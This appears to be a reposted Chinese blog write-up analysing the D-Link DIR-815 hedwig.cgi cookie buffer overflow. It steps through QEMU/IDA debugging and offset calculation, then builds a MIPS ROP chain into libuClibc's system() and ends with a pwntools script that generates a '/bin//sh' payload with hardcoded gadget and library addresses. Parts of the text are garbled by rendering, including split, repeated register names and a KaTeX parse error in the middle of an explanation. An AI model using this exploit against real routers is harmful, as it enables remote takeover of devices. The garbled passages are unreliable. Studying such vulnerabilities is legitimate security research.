我是靠谱客的博主 美满毛巾,最近开发中收集的这篇文章主要介绍DIR-815 路由器多次溢出漏洞分析,觉得挺不错的,现在分享给大家,希望可以做个参考。

概述

漏洞信息

固件下载地址

ftp://ftp2.dlink.com/PRODUCTS/DIR-815/REVA/DIR-815_FIRMWARE_1.01.ZIP
在这里插入图片描述

漏洞成因分析

【漏洞信息】
根据漏洞信息,可以知道漏洞存在于漏洞组件hedwig.cgi 中。而hedwig.cgi 在cgibin 中。
在这里插入图片描述
而漏洞产生的原因是Cookie的值超长早场缓冲区溢出。
这里使用IDA 打开 cgibin 。 查找HTTP_COOKIE 。直接查找字符串,查看交叉引用。定位到sess_get_uid 函数。
在这里插入图片描述
在sess_get_uid 函数可以得知,这个函数会回去 "cookies"的uid的值。
在这里插入图片描述

漏洞调试

sudo chroot . ./qemu-mipsel-static -E CONTENT_LENGTH=20 -E CONTENT_TYPE="application/x-www-form-urlencoded" -E REQUEST_METHOD="POST" -E HTTP_COOKIE="uid=Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9" -E REQUEST_URI="/hedwig.cgi" -E REMOTE_ADDR="192.168.1.1" -g 23946 ./htdocs/web/hedwig.cgi

调试可以看到产生溢出
在这里插入图片描述
使用脚本可以看到。$ra的值被覆盖 0x38694237

在这里插入图片描述

缓冲区溢出调试

  1. 首先打开qemu 的调试模式
    在这里插入图片描述
  2. 使用IDA 联调,首先打上断点,然后进行调试
    在这里插入图片描述
  3. 按F8 逐步调试,运行到 漏洞溢出点
    在这里插入图片描述
  4. 根据sprintf 函数的特点,我们输入的参数应该是在 a 3 寄 存 器 中 , 打 开 H e x 窗 口 ( I D A − − > V i e w − − > O p e n s u b v i e w − − > h e x d u m p ) 。 然 后 右 击 a3寄存器中,打开Hex 窗口( IDA--> View --> Open subview --> hex dump) 。 然后右击 a3Hex(IDA>View>Opensubview>hexdump)a3 -->junp in a new hex window 。可以看到栈上已经产生了溢出。
    在这里插入图片描述
  5. 继续执行F8执行下去,可以看到$ra 寄存器保存的值。
    在这里插入图片描述

触发第二个prinf溢出

运行qemu
在这里插入图片描述
远程调试,可以看到成功的将uid的超长字符串利用sprintf拼接起来
在这里插入图片描述
计算$s0 的偏移
在这里插入图片描述

计算偏移

在IDA 进行静态分析,可以计算缓冲区到$ra的偏移0x24 (36)+0x400(1024) =1060
在这里插入图片描述
上面计算的偏移中包含字符串“/htdocs/webinc/fatlady.phpnprefix=/runtime/session/”,因此要计算真实的偏移,应该去掉字符串 的长度。如下图所示,这和上面计算的一样

在这里插入图片描述
973=1009-40
973+36(fp~s0)=1009
sudo ./test.sh ‘uid=1234’ python -c “print ‘uid=’+open(‘test’,‘r’).read(2000)”

劫持PC

这里生成"A"*1009 +“BBBB” 作为参数,可以看到$ra的值为"BBBB"。 劫持成功
在这里插入图片描述

构造ROP

  1. 根据返回处的汇编代码,可以看到可以控制的寄存器有 s 0   s 7 、 s0~s7、 s0 s7fp、$ra 寄存器
    在这里插入图片描述
  2. 调试可以看到 libuClibc-0.9.30.1.so 库的基地址为 0x76738000

gdb-multiarch htdocs/cgibin #一定要加载文件htdocs/cgibin不然vmmap得不到结果
set architecture mips
target remote :23957
b *0x409A54 #hedwigcgi_main()函数返回jr ra处
c
vmmap
这里可看到 基地址0x76738000
在这里插入图片描述
3. 查看可以利用的函数 system(), 通过system 函数获取shell.
在/lib文件夹下找到libuClibc-0.9.30.1.so用IDA打开,system函数在0x53200处。

在这里插入图片描述
那么system函数的真实地址是0x76738000+0x00053200 = 0x7678b200
根据mips 调用函数的特性和system()函数,可以了解到system() 传入参数需要用到 a 0 寄 存 器 。 查 找 可 以 将 栈 上 数 据 放 入 a0寄存器。 查找可以将栈上数据放入 a0a0寄存器的gadget。
search–> mips rop gadgets --> "misrop.stackfinders()"可以看到所有把堆栈数据放入寄存器中的指令。这里选择0x000159CC。 我试了一下其他的也可以用。
在这里插入图片描述
双击0x000159CC,可以看到指令序列,这里是把sp+ (0x14C)332 + (-0x13C)316=sp + (0x10) 16 地址存入到$s5寄存器,最后会 $s5 寄存器的地址传递给 $a0 寄存器作为参数(这里要结合mips的分支延迟效应去理解)。并且会将 KaTeX parse error: Expected 'EOF', got '#' at position 82: …60121523522.png#̲pic_center)接下来我…s0寄存器中的指令序列,这里由于上面分析我们是可以控制$s0寄存器的,因此只需要在0x4C0+var_s0 栈上放上system函数地址 0x7678b200 。

但是因为system函数地址中最低为是0x00,在将地址传入cookies中后,会被sprintf截断,导致缓冲区溢出失败。
因此可以将system函数真实地址-1 从而绕过sprintf的截断。
0x7678b200-1=0x7678b1ff
然后将0x7678b1ff 覆盖到$s0寄存器中。然后在libuClibc-0.9.30.1.so 找到可以恢复system地址的指令序列。这里搜索"mipsrop.find(“addiu $s0,1”)",选择如下图所示 0x000158c8 的指令序列。
在这里插入图片描述
那么接下来就可以来构造我们需要的完整的ROP。
在这里插入图片描述

exploit

from pwn import *


context.endian = "little"
context.arch = "mips"
libuClibc_base_addr= 0x76738000
system_addr = 0x7678b1ff
gadget1 = 0x000158c8
gadget2 = 0x000159cc

padding ="A"*973
padding +=p32(0x7678b1ff)  # $s0
padding +="AAAA"           # $s1
padding +="AAAA"           # $s2
padding +="AAAA"           # $s3
padding +="AAAA"           # $s4
padding +=p32(libuClibc_base_addr+ gadget2) # $s5
padding +="AAAA"           # $s6
padding +="AAAA"           # $s7
padding +="AAAA"           # fp
padding +=p32(libuClibc_base_addr+ gadget1)  # $ra
padding +="AAAAAAAAAAAAAAAA"  # padding 16*'A'
padding += "/bin//sh"

f = open("exploit","wb+")
f.write(padding)
f.close()


动态调试

在这里插入图片描述
再执行一步,可以看到$s5寄存器中的地址指向的值是"/bin//sh"
在这里插入图片描述

最后

以上就是美满毛巾为你收集整理的DIR-815 路由器多次溢出漏洞分析的全部内容,希望文章能够帮你解决DIR-815 路由器多次溢出漏洞分析所遇到的程序开发问题。

如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。

本图文内容来源于网友提供,作为学习参考使用,或来自网络收集整理,版权属于原作者所有。
点赞(34)

评论列表共有 0 条评论

立即
投稿
返回
顶部